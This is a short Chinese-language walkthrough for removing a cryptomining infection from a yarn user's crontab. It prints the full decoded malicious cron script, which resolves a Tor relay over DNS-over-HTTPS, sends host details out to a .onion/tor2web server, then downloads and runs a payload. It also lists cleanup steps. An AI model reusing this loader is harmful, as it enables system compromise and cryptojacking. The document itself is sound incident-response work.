1、切换到yarn用户,如果提示切换不了,修改/etc/passwd文件
找到yarn用户那一行,这个地方我就截图举例一下:把sbin修改为bin 把nologin修改为bash
2、查看crontab 定时任务,一般都有一个定时任务,找到执行的文件,我这边是一个base64编码执行脚本
crontab -l
3、base64解码之后如下
gh6uVzRB8a0DJ3I2m68OP9Zy1ltP7ik exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "sjetn54bpsfwmyxkflldgnq6kzcxd2j3bg5s4nxkzs7qoshr2jhhiyyd") sockz() { n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in") s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1) } fexe() { for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done } u() { sockz f=/int.$(uname -m) x=./$(date|md5sum|cut -f1 -d-) r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0) $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r chmod +x $x;$x;rm -f $x } for h in tor2web.in tor2web.it do if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then fexe;u $t.$h ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h) ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h) else break fi done m뀀
4、上面标红的注意一下,可以通过ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status 查看到父进程,/tmp/.X11-unix/01 这个下面就是源文件
5、杀掉父进程
6、crontab -r删除定时任务
7、退出来到root,杀掉占CPU的那个挖矿进程,删除/tmp下面的源文件
8、开启防火墙,禁掉8088端口